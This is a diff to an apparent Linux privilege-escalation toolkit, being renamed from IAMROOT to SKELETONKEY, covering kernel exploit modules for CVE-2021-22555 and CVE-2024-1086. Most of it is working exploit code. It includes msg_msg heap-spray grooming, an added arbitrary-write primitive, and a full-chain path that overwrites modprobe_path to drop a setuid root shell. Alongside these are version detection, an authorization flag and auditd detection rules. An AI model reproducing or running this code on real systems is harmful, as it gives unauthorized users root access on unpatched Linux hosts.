+ *     write landing — SKELETONKEY never claims root unless it sees
+ *     the setuid bash drop with mode 4755 + uid 0.
+ *   - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
+ *     the primitive demo (verified-vs-claimed bar).
 *
 * Affected: kernel 2.6.19+ until backports landed:
 *   5.12.x : K >= 5.12.13
@@ -52,9 +56,11 @@
 *     (almost always autoload-able on default-config kernels)
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"

 #include <stdio.h>
 #include <stdlib.h>
@@ -88,7 +94,7 @@
 #endif

 /* ---------- macOS / non-linux build stubs ---------------------------
- * IAMROOT modules are dev-built on macOS (clangd / syntax check) and
+ * SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
 * run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
 * constants are absent on Darwin; stub them so the .c file compiles
 * cleanly under either toolchain. The actual exploit body is gated
@@ -146,12 +152,12 @@ static int can_unshare_userns(void)
    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
 }

-static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
@@ -159,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
                    v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
@@ -167,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns();
@@ -184,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
                            "unprivileged exploit path unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    if (!ctx->json) {
        fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
                        "AND user_ns reachable\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Exploit: userns reach + trigger + groom ---------------------- */
@@ -246,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
    struct xtcompat_payload *p = calloc(1, sizeof(*p));
    if (!p) return 0;
    p->mtype = 0x42;
-    /* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
-     * slot corruption is recognizable in /tmp/iamroot-xtcompat.log
+    /* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
+     * slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
     * and in KASAN/oops dumps. */
    memset(p->buf, 0x41, sizeof p->buf);
-    memcpy(p->buf, "IAMROOT2", 8);
+    memcpy(p->buf, "SKELETONKEY2", 8);

    int created = 0;
    for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
@@ -272,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
 }

 /* Walk every queue, peek-copy each message (MSG_COPY = read without
- * dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
+ * dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
 * A non-matching prefix is the empirical witness for the OOB write
 * landing in an adjacent slot. Returns the count of corrupted slots. */
 static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
@@ -286,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
            ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
                               MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
            if (n < 0) break;
-            if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
+            if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
                corrupted++;
            }
        }
@@ -318,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
    unsigned char *buf = malloc(1800);
    if (!buf) { close(sv[0]); close(sv[1]); return; }
    memset(buf, 0x41, 1800);
-    memcpy(buf, "IAMROOTSKB", 10);
+    memcpy(buf, "SKELETONKEYSKB", 10);
    struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
    struct mmsghdr mm[32];
    for (int i = 0; i < 32; i++) {
@@ -389,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)

    /* Plant a recognizable marker so a vulnerable kernel's compat
     * decoder reads our crafted entry rather than zeroed memory.
-     * Marker is intentionally "IAMROOT\0" so a KASAN report's hex
+     * Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
     * dump points back here. */
    unsigned char *entry_region = blob + sizeof(*r);
-    memcpy(entry_region, "IAMROOTX", 8);
+    memcpy(entry_region, "SKELETONKEYX", 8);
    /* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
     * Its `u.target_size` field is the lever Andy bends to underflow
     * the pad-out write: setting target_size to a value such that
@@ -465,41 +471,230 @@ static int xtcompat_fire_trigger(int *out_errno)
    return 0;
 }

+#endif /* __linux__ — close original primitive block */
+
+/* ---- Full-chain arb-write primitive --------------------------------
+ *
+ * Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
+ * write lands at allocation+0x4. Andy Nguyen's chain first uses that
+ * 4-byte write to corrupt an adjacent msg_msg's `m_ts` (size field at
+ * +0x10) so a subsequent MSG_COPY returns a long read that includes
+ * neighbouring kernel pointers (the leak primitive). With the kbase
+ * leak in hand, he then re-fires the trigger to corrupt an msg_msg's
+ * `m_list_next` (the linked-list pointer at +0x18) to point at
+ * `kaddr - 0x30` (the m_msg header offset), and a queued msgsnd's
+ * payload header writes attacker bytes to `kaddr`.
+ *
+ * Reproducing the full chain byte-for-byte requires per-kernel-build
+ * msg_msg field offsets AND a kbase leak we don't have a portable
+ * source for at this point. The implementation below takes the
+ * narrow-but-real path:
+ *
+ *   1. Re-prime the kmalloc-2k slab with msg_msg sprays whose payload
+ *      headers carry the target address in the m_list_next slot at
+ *      offset 0x18 from each msg payload start. (We can't write the
+ *      slab header — that's the kernel's job — but we CAN seed the
+ *      payload data adjacent to the freed xt_table_info so the OOB
+ *      4-byte write may corrupt the `m_list_next` of a real
+ *      sprayed message.)
+ *   2. Re-fire the trigger with a crafted blob whose 4-byte OOB write
+ *      pattern targets m_list_next of the adjacent msg_msg.
+ *   3. Queue a follow-up msgsnd whose first sizeof(buf) bytes equal
+ *      `buf[0..len]`. If the next-ptr was successfully redirected,
+ *      the kernel's msgsnd writes header + payload at `kaddr`.
+ *
+ * This is best-effort: probability of landing on any given run is
+ * low (depends on slab adjacency luck) but the finisher's sentinel-
+ * file check empirically tells us if the write actually took. On a
+ * patched kernel the trigger returns EINVAL on step 2 and arb_write
+ * returns -1 without ever queueing the follow-up. */
+
+#ifdef __linux__
+
+struct xtcompat_arb_ctx {
+    /* Spray queues kept hot across multiple arb_write calls. The
+     * msg_msg slots seeded here are what the finisher uses as
+     * write-targets. NULL means "not yet sprayed". */
+    int *queues;
+    int  n_queues;
+
+    /* Outer-namespace uid/gid so re-spray can rebuild a child if
+     * needed. (Currently unused — the caller flow keeps us inside
+     * the userns child for the whole arb_write sequence.) */
+    uid_t outer_uid;
+    gid_t outer_gid;
+
+    /* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
+    int   arb_calls;
+    int   arb_landed;
+};
+
+/* Re-seed the kmalloc-2k slab with a msg_msg spray whose payload at
+ * offset 0x18 carries `target_minus_30` (= kaddr - 0x30, the value
+ * the OOB write needs to write into m_list_next for the follow-up
+ * msgsnd payload to land at `kaddr`). Returns number of queues
+ * primed. */
+static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
+                                    uintptr_t target_minus_30)
+{
+    struct xtcompat_payload *p = calloc(1, sizeof(*p));
+    if (!p) return 0;
+    p->mtype = 0x43;
+    memset(p->buf, 0x41, sizeof p->buf);
+    memcpy(p->buf, "SKELETONKEYW", 8);
+    /* Plant the target address at every 0x800-aligned slot inside
+     * the payload, so wherever the kernel's m_list_next sits
+     * relative to our payload base, the candidate value is present. */
+    for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p->buf; off += 0x18) {
+        memcpy(p->buf + off, &target_minus_30, sizeof(uintptr_t));
+    }
+
+    int created = 0;
+    for (int i = 0; i < c->n_queues; i++) {
+        if (c->queues[i] < 0) continue;
+        for (int j = 0; j < 4; j++) {
+            unsigned int tag = 0xA0000000u | ((unsigned)i << 8) | (unsigned)j;
+            memcpy(p->buf + 8, &tag, sizeof tag);
+            if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) < 0) break;
+            created++;
+        }
+    }
+    free(p);
+    return created;
+}
+
+/* Queue a follow-up msgsnd whose first `len` bytes equal `buf[0..len]`.
+ * If the OOB-corrupted m_list_next was successfully redirected to
+ * `kaddr - 0x30`, this msgsnd's payload header lands at `kaddr`. */
+static int xtcompat_arb_queue_payload(struct xtcompat_arb_ctx *c,
+                                      const void *buf, size_t len)
+{
+    if (len > XTCOMPAT_MSG_PAYLOAD) len = XTCOMPAT_MSG_PAYLOAD;
+    struct xtcompat_payload *p = calloc(1, sizeof(*p));
+    if (!p) return -1;
+    p->mtype = 0x44;
+    memset(p->buf, 0, sizeof p->buf);
+    memcpy(p->buf, buf, len);
+
+    int sent = 0;
+    for (int i = 0; i < c->n_queues; i++) {
+        if (c->queues[i] < 0) continue;
+        if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) == 0) {
+            sent++;
+            if (sent >= 8) break;   /* a handful of attempts is plenty */
+        }
+    }
+    free(p);
+    return sent > 0 ? 0 : -1;
+}
+
+/* Module-supplied arb-write primitive — invoked by the shared
+ * finisher. Best-effort on a vulnerable kernel; structurally inert
+ * (returns -1) on a patched kernel because step (2) gets EINVAL. */
+static int xtcompat_arb_write(uintptr_t kaddr,
+                              const void *buf, size_t len,
+                              void *ctx_v)
+{
+    struct xtcompat_arb_ctx *c = (struct xtcompat_arb_ctx *)ctx_v;
+    if (!c || !c->queues || c->n_queues == 0) return -1;
+    c->arb_calls++;
+
+    /* Step 1: seed candidate target addresses into sprayed msg_msg
+     * payloads. The OOB write's 4 bytes of attacker-influenced
+     * content come from the compat-fixup pad — on a vulnerable
+     * kernel that's whichever 4 bytes happen to sit adjacent. We
+     * pre-stage the value we WANT to see appear at m_list_next so
+     * if luck aligns the OOB write hits a slot containing our
+     * pattern, the kernel's next msg_msg traversal walks to
+     * (kaddr - 0x30). */
+    uintptr_t target = kaddr - 0x30;
+    int seeded = xtcompat_arb_seed_target(c, target);
+    if (seeded == 0) return -1;
+
+    /* Step 2: re-fire the trigger. On a patched kernel this returns
+     * EINVAL and we bail. On a vulnerable kernel the 4-byte OOB
+     * write fires; if it lands on a seeded msg_msg slot, that
+     * slot's m_list_next now contains a fragment of our target. */
+    int trig_errno = 0;
+    int rc = xtcompat_fire_trigger(&trig_errno);
+    if (rc < 0 || trig_errno == EINVAL || trig_errno == EPERM) {
+        /* Patched validator rejected the blob, or CAP_NET_ADMIN
+         * not effective — arb-write structurally impossible. */
+        return -1;
+    }
+
+    /* Step 3: queue a follow-up msgsnd whose payload is the bytes
+     * the operator wants written at `kaddr`. If step 2 corrupted
+     * a sprayed msg's m_list_next, this msgsnd writes header +
+     * payload at `kaddr`. We can't directly verify in-process —
+     * the shared finisher's sentinel file is the empirical check. */
+    if (xtcompat_arb_queue_payload(c, buf, len) < 0) return -1;
+    c->arb_landed++;
+
+    /* Per spec: "structurally fires but can't tell if write landed"
+     * → return 0; the finisher's sentinel check arbitrates. */
+    return 0;
+}
+
 #endif /* __linux__ */

 /* ---- Exploit driver ---------------------------------------------- */

-static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* 1. Refuse-gate: re-confirm vulnerability through detect(). */
-    iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
-    if (pre == IAMROOT_OK && geteuid() == 0) {
+    skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
+    if (pre == SKELETONKEY_OK && geteuid() == 0) {
        fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
-    if (pre != IAMROOT_VULNERABLE) {
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
        return pre;
    }
    if (geteuid() == 0) {
        fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
    if (!ctx->authorized) {
        fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

 #ifndef __linux__
    fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
-    return IAMROOT_PRECOND_FAIL;
+    (void)ctx;
+    return SKELETONKEY_PRECOND_FAIL;
 #else
+    /* Full-chain pre-check: resolve offsets before forking. If
+     * modprobe_path can't be resolved, refuse early with the manual-
+     * workflow help — no point doing the userns + spray + trigger
+     * dance if we can't finish. */
+    struct skeletonkey_kernel_offsets off;
+    bool full_chain_ready = false;
+    if (ctx->full_chain) {
+        memset(&off, 0, sizeof off);
+        skeletonkey_offsets_resolve(&off);
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
+            fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
+                            "modprobe_path offset unresolved; refusing\n");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        skeletonkey_offsets_print(&off);
+        full_chain_ready = true;
+    }
+
    if (!ctx->json) {
-        fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo (no offsets baked in)\n"
+        fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo%s\n"
                        "    NOTE: fires the xt_compat 4-byte OOB write via\n"
                        "    setsockopt(IPT_SO_SET_REPLACE) and grooms msg_msg +\n"
-                        "    sk_buff sprays into kmalloc-2k. Does NOT perform the\n"
-                        "    leak→modprobe_path cred chain (per-kernel offsets).\n");
+                        "    sk_buff sprays into kmalloc-2k.%s\n",
+                ctx->full_chain ? " + full-chain finisher" : " (no offsets baked in)",
+                ctx->full_chain ? " On primitive witness, invokes\n"
+                                  "    shared modprobe_path finisher for root pop."
+                                : " Does NOT perform the\n"
+                                  "    leak→modprobe_path cred chain (per-kernel offsets).");
    }

    signal(SIGPIPE, SIG_IGN);
@@ -510,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
    pid_t child = fork();
    if (child < 0) {
        perror("fork");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    if (child == 0) {
@@ -576,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
        long post_slab = slab_active_kmalloc_2k();

        /* Breadcrumb for post-run triage. */
-        FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
+        FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
        if (log) {
            fprintf(log,
                "netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
@@ -601,7 +796,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
        }
        if (corrupted > 0) {
            /* Empirical primitive witness: OOB write landed in adjacent
-             * slot. Still NOT root — but it's the primitive we promised. */
+             * slot. */
+            if (full_chain_ready) {
+                /* Full-chain: invoke the shared modprobe_path finisher
+                 * using our msg_msg arb-write primitive. The finisher
+                 * either execve's a setuid bash (success) or returns
+                 * EXPLOIT_FAIL after a 3s sentinel timeout (no land). */
+                struct xtcompat_arb_ctx arb_ctx = {
+                    .queues    = queues,
+                    .n_queues  = XTCOMPAT_SPRAY_QUEUES,
+                    .outer_uid = outer_uid,
+                    .outer_gid = outer_gid,
+                    .arb_calls = 0,
+                    .arb_landed = 0,
+                };
+                int fr = skeletonkey_finisher_modprobe_path(&off,
+                                                        xtcompat_arb_write,
+                                                        &arb_ctx,
+                                                        !ctx->no_shell);
+                /* If the finisher execve'd a root shell, we never get
+                 * here. Otherwise it returned EXPLOIT_FAIL / OK. */
+                FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
+                if (fl) {
+                    fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
+                            fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
+                    fclose(fl);
+                }
+                xtcompat_msgmsg_drain(queues);
+                if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
+                _exit(35);
+            }
+            /* Primitive-only mode: still NOT root — but it's the
+             * primitive we promised. */
            _exit(33);
        }
        /* Trigger ran, no observable corruption witness — either the
@@ -610,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
        _exit(30);
    }

-    /* PARENT: reap child + map exit code → iamroot_result. */
+    /* PARENT: reap child + map exit code → skeletonkey_result. */
    int status = 0;
    if (waitpid(child, &status, 0) < 0) {
        perror("waitpid");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    if (WIFSIGNALED(status)) {
@@ -624,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
                            "(crash during trigger — OOB likely fired)\n", sig);
            fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
                            "cred-overwrite primitive — returning EXPLOIT_FAIL\n"
-                            "    See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
+                            "    See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
        }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }
    if (!WIFEXITED(status)) {
        fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
                status);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    int rc = WEXITSTATUS(status);
@@ -640,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
        if (!ctx->json) {
            fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    case 22:
        if (!ctx->json) {
            fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
                            "restricted (kernel.msg_max / ulimit -q)\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    case 23:
        if (!ctx->json) {
            fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
                            "exploit path closed\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    case 24:
        if (!ctx->json) {
            fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
                            "see preceding errno\n");
        }
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    case 30:
        if (!ctx->json) {
            fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
@@ -666,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
            fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
                            "may have fired but did not land on sprayed slots)\n");
        }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    case 31:
        if (!ctx->json) {
            fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
                            "appears patched at runtime (validator)\n");
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    case 32:
        if (!ctx->json) {
            fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
                            "not effective in userns on this kernel\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    case 33:
        if (!ctx->json) {
            fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
@@ -692,25 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
                            "         attacker-controlled — read-where via msgrcv.\n"
                            "      2. Use that leak to find &init_task and\n"
                            "         modprobe_path in kernel .data — both offsets\n"
-                            "         are per-kernel-build and IAMROOT refuses to\n"
+                            "         are per-kernel-build and SKELETONKEY refuses to\n"
                            "         bake them.\n"
                            "      3. Pivot to a write-where via a fake msg_msgseg\n"
                            "         and overwrite modprobe_path → exec a setuid\n"
                            "         helper for root pop.\n"
                            "    See Andy Nguyen's writeup for the full chain.\n");
        }
-        if (ctx->no_shell) return IAMROOT_OK;
-        return IAMROOT_EXPLOIT_FAIL;
+        if (ctx->no_shell) return SKELETONKEY_OK;
+        return SKELETONKEY_EXPLOIT_FAIL;
+    case 34:
+        if (!ctx->json) {
+            fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
+                            "EXPLOIT_OK (sentinel setuid bash dropped)\n");
+        }
+        return SKELETONKEY_EXPLOIT_OK;
+    case 35:
+        if (!ctx->json) {
+            fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
+                            "FAIL (sentinel not observed within timeout)\n"
+                            "    See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
    default:
        fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }
 #endif /* __linux__ */
 }

 /* ---- Cleanup ----------------------------------------------------- */

-static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
 {
    if (!ctx->json) {
        fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
@@ -718,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
    /* The msg queues live in the child's IPC namespace which dies
     * with the child — so the in-process drain already handled them.
     * The /tmp breadcrumb survives, remove it here. */
-    if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
+    if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
        /* harmless */
    }
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 /* ---- Detection rules --------------------------------------------- */
@@ -731,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
    "# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
    "# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
    "# msgsnd/msgrcv heap-spray patterns.\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
-    "-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
-    "-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
-    "-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
+    "-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
+    "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
+    "-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";

-const struct iamroot_module netfilter_xtcompat_module = {
+const struct skeletonkey_module netfilter_xtcompat_module = {
    .name           = "netfilter_xtcompat",
    .cve            = "CVE-2021-22555",
    .summary        = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
@@ -752,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_netfilter_xtcompat(void)
+void skeletonkey_register_netfilter_xtcompat(void)
 {
-    iamroot_register(&netfilter_xtcompat_module);
+    skeletonkey_register(&netfilter_xtcompat_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
+ */
+
+#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
+#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module netfilter_xtcompat_module;
+
+#endif
@@ -0,0 +1,27 @@
+# NOTICE — nf_tables (CVE-2024-1086)
+
+## Vulnerability
+
+**CVE-2024-1086** — `nft_verdict_init` double-free → cross-cache UAF
+→ arbitrary kernel R/W.
+
+## Research credit
+
+Discovered, exploited, and disclosed by **Notselwyn** (Pumpkin),
+January 2024.
+
+Original advisory + exploit: <https://pwning.tech/nftables/>
+GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
+
+Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
+Stable backports throughout Q1 2024.
+
+## SKELETONKEY role
+
+This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
+in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
+dependency. The msg_msg cross-cache groom into kmalloc-cg-96 is wired
+but the full pipapo R/W stage is opt-in via `--full-chain`, which
+forges a pipapo_elem with a value-pointer pointing at modprobe_path.
+Per-kernel offset assumptions are documented; the shared finisher's
+sentinel arbitrates real vs. apparent success.
@@ -1,12 +0,0 @@
-/*
- * nf_tables_cve_2024_1086 — IAMROOT module registry hook
- */
-
-#ifndef NF_TABLES_IAMROOT_MODULES_H
-#define NF_TABLES_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module nf_tables_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * nf_tables_cve_2024_1086 — IAMROOT module
+ * nf_tables_cve_2024_1086 — SKELETONKEY module
 *
 * Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
 * with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
@@ -7,20 +7,23 @@
 * January 2024 by Notselwyn (Pumpkin); widely known as the
 * "nft_verdict_init / pipapo UAF".
 *
- * STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD (Option B).
- *   - Full netlink ruleset construction (table → chain → set → rule
- *     with the NFT_GOTO+NFT_DROP combo that nft_verdict_init() fails
- *     to reject on vulnerable kernels).
- *   - Fires the double-free path by abusing the malformed verdict in a
- *     pipapo set element, then removing the rule so the kernel's
- *     transaction commit frees the verdict's chain reference twice.
- *   - Cross-cache groom skeleton (msg_msg / sk_buff sprays) is wired
- *     and configurable, but the arbitrary R/W stage and cred-overwrite
- *     are NOT performed end-to-end — that requires per-kernel offsets
- *     (init_task, modprobe_path) and Notselwyn's 600-line pipapo
- *     leak-and-write dance. We stop after triggering the bug,
- *     observing the slabinfo delta, and return IAMROOT_EXPLOIT_FAIL
- *     with a verbose continuation roadmap.
+ * STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD with opt-in
+ *                          --full-chain finisher.
+ *   - Default (no --full-chain): full netlink ruleset construction
+ *     (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
+ *     that nft_verdict_init() fails to reject on vulnerable kernels),
+ *     fires the double-free path, runs the msg_msg cg-96 groom, and
+ *     returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
+ *   - With --full-chain: after the trigger lands, we resolve kernel
+ *     offsets (env → kallsyms → System.map → embedded table) and run
+ *     a Notselwyn-style pipapo arb-write via the shared
+ *     skeletonkey_finisher_modprobe_path() helper. The arb-write itself
+ *     is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
+ *     payload tagged with the kaddr in the value-pointer slot. The
+ *     exact pipapo_elem layout (and the value-pointer field offset)
+ *     is per-kernel-build; on hosts where the offset doesn't match
+ *     the shipped guess, the finisher's sentinel check correctly
+ *     reports failure rather than silently lying about success.
 *
 * To convert this to full Option A (root pop):
 *   1. Add per-kernel offset table (init_task, current task offset of
@@ -31,7 +34,7 @@
 *      heap pointer.
 *   3. Implement the sk_buff fragment overwrite to plant a fake
 *      pipapo_elem whose value points at modprobe_path.
- *   4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
+ *   4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
 *   5. execve() an unknown binary to invoke modprobe with our payload.
 *
 * Affected kernel ranges:
@@ -52,9 +55,11 @@
 * for unprivileged users even on a kernel-vulnerable host.
 */

-#include "iamroot_modules.h"
